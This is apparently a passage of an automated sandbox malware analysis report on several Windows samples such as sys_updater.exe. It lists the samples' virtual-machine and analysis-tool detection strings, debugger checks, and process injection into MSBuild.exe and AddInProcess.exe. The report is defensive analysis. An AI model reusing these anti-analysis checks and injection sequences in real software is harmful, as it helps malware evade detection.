Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AA2000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1A9B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AA3000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V qbqdsitfxsrfbfn Bus Pipes
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sWDHyper-V Hypervisor Root Partition
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &Hyper-V HypervisorZ
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipeshzh
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration ServicelS
Source: sys_updater.exe, 0000001F.00000003.2838845710.0000020E47C0E000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2843023143.0000020E47C0E000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2835803941.0000020E47C04000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interru
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2167400204.00000234D5BC3000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2176730620.00000234D5ABF000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2658110747.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2684596327.0000021E03442000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2757593840.00000159F3592000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2777007339.00000159F3579000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001F.00000003.2954321429.0000020E494F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Service:\|b ,
Source: sys_updater.exe, 0000001F.00000003.2838586237.0000020E47B64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: s4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: sys_updater.exe, 0000001F.00000003.2812365252.0000020E47A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number48
Source: sys_updater.exe, 00000022.00000003.2924737972.00000237D32AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2923888088.00000237D32AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2924061808.00000237D32AE000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2925669194.00000237D3292000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000022.00000003.2924910130.00000237D32AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Reques
Source: sys_updater.exe, 0000001F.00000003.2895586429.0000020E494BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: sys_updater.exe, 0000001F.00000003.2895586429.0000020E494BC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2152912193.00000234D413D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervis
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2152912193.00000234D413D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 04866Reference Cycle Count 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot
Source: sys_updater.exe.26.dr	Binary or memory string: VGAuthService.exe.exehollows_hunter32procexp64.exeprocexp.exeProcmon.exeProcmon64.exepestudio.exeKsDumper.exeprl_cc.exeprl_tools.exepe-sieve64.exeMoneta64.exefakenet.exeWireshark.exeVBoxService.exeVMwareUser.exevmtoolsd.exeVMwareTray.exevmsrvc.exeVBoxTray.exeC:\Users\Hassp\.cargo\registry\src\index.crates.io-6f17d22bba15001f\antilysis-0.1.2\src\lib.rs>
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2Hyper-V VM Vid Partition:C\
Source: sys_updater.exe, 0000001B.00000003.2716504678.00000159F3435000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2721618394.00000159F3435000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active TSC Count4860Idle Accumulation4862Reference Cycle Count 04864Actual Cycle Count 0
Source: sys_updater.exe, 0000001B.00000003.2711441685.00000159F342B000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2713187842.00000159F3435000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2713513597.00000159F3435000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec48
Source: sys_updater.exe, 00000018.00000003.2688850080.0000021E016A9000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 00000018.00000003.2664610216.0000021E016B4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Dynamic Memory Integration ServiceI
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2154673474.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2153449987.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2154400001.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2154147432.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2153766805.00000234D59EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: kflowServiceHost 4.0.0.06244Workflows Created6246Workflows Created Per Second6248Workflows Executing6250Workflows Completed6252Workflows Completed Per Second6254Workflows Aborted6256Workflows Aborted Per Second6258Workflows In Memory6260Workflows Persisted6262Workflows Persisted Per Second6264Workflows Terminated6266Workflows Terminated Per Second6268Workflows Loaded6270Workflows Loaded Per Second6272Workflows Unloaded6274Workflows Unloaded Per Second6276Workflows Suspended6278Workflows Suspended Per Second6280Workflows Idle Per Second6282Average Workflow Load Time6284Average Workflow Load Time Base6286Average Workflow Persist Time6288Average Workflow Persist Time Base6324Terminal Services6326Active Sessions6328Inactive Sessions6330Total Sessions4806Hyper-V Hypervisor Logical Processor4808Global Time4810Total Run Time4812Hypervisor Run Time4814Hardware Interrupts/sec4816Context Switches/sec4818Inter-Processor Interrupts/sec4820Scheduler Interrupts/sec4822Timer Interrupts/sec4824Inter-Processor Interrupts Sent/sec4826Processor Halts/sec4828Monitor Transition Cost4830Context Switch Time4832C1 Transitions/sec4834% C1 Time4836C2 Transitions/sec4838% C2 Time4840C3 Transitions/sec4842% C3 Time4844Frequency4846% of Max Frequency4848Parking Status4850Processor State Flags4852Root Vp Index4854Idle Sequence Number4856Global TSC Count4858Active
Source: IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2170903109.00000234D3F9E000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2180148890.00000234D3FA5000.00000004.00000020.00020000.00000000.sdmp, IIZS2TRqf69aZbLAX3cf3edn.exe, 00000009.00000003.2184700567.00000234D3FA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DHyper-V Virtual Machine Bus Pipes+
Source: sys_updater.exe, 0000001B.00000003.2765696343.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2788314764.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp, sys_updater.exe, 0000001B.00000003.2800169129.00000159F1AC7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VHyper-V Dynamic Memory Integration Servicel.P
Source: sys_updater.exe, 0000001F.00000003.2932929052.0000020E479B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipesui

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005F1434 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_005F1434

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F6600 mov eax, dword ptr fs:[00000030h]	0_2_005F6600
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005FFF7D mov eax, dword ptr fs:[00000030h]	0_2_005FFF7D
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005FFF39 mov eax, dword ptr fs:[00000030h]	0_2_005FFF39
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00556600 mov eax, dword ptr fs:[00000030h]	3_2_00556600
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0055FF7D mov eax, dword ptr fs:[00000030h]	3_2_0055FF7D
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_0055FF39 mov eax, dword ptr fs:[00000030h]	3_2_0055FF39

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_00608004 GetProcessHeap,

0_2_00608004

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F1434 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005F1434
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F4C93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_005F4C93
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F1597 SetUnhandledExceptionFilter,	0_2_005F1597
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Code function: 0_2_005F16B1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_005F16B1
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00551434 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00551434
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00554C93 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_00554C93
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_00551597 SetUnhandledExceptionFilter,	3_2_00551597
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Code function: 3_2_005516B1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_005516B1
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C78C45A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6C78C45A
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C7884BA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_6C7884BA
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Code function: 10_2_6C787FE1 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	10_2_6C787FE1

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.f363d4.1.raw.unpack, NativeLibrary.cs	Reference to suspicious API methods: LoadLibrary(type, assemblyTypeHint)
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualAlloc(attemptImageBase, dwSize, WindowsNative.MEM.MEM_COMMIT \| WindowsNative.MEM.MEM_RESERVE, WindowsNative.PAGE.PAGE_READWRITE)
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.GetProcAddress(intPtr, ptr5)
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, WindowsMemoryNativeLibrary.cs	Reference to suspicious API methods: WindowsNative.VirtualProtect(loadedImageBase + sectionHeaders[i].VirtualAddress, (IntPtr)num, flNewProtect, &pAGE)
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.fbb9d4.3.raw.unpack, WindowsExtensions.cs	Reference to suspicious API methods: HandleMinder.CreateWithFunc(WindowsNative.OpenProcess(processAccess, bInheritHandle: false, processID), WindowsNative.CloseHandle)
Source: 8.0.FRaqbC8wSA1XvpFVjCRGryWt.exe.146ecf4.5.raw.unpack, Program.cs	Reference to suspicious API methods: FindResource(moduleHandle, e.Name, "FILES")

Allocates memory in foreign processes

Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005D4780 CreateProcessA,VirtualAlloc,GetThreadContext,ReadProcessMemory,GetModuleHandleA,GetProcAddress,VirtualAllocEx,VirtualAllocEx,GetLastError,VirtualAllocEx,WriteProcessMemory,SetThreadContext,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,ResumeThread,

0_2_005D4780

Injects a PE file into a foreign processes

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Modifies the context of a thread in another process (thread injection)

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread register set: target process: 6560			Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Thread register set: target process: 2704			Jump to behavior

Writes to foreign memory regions

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140000000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 140001000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14037F000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1404EA000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 14079A000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BA000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BB000	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Memory written: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe base: 1407BE000	Jump to behavior
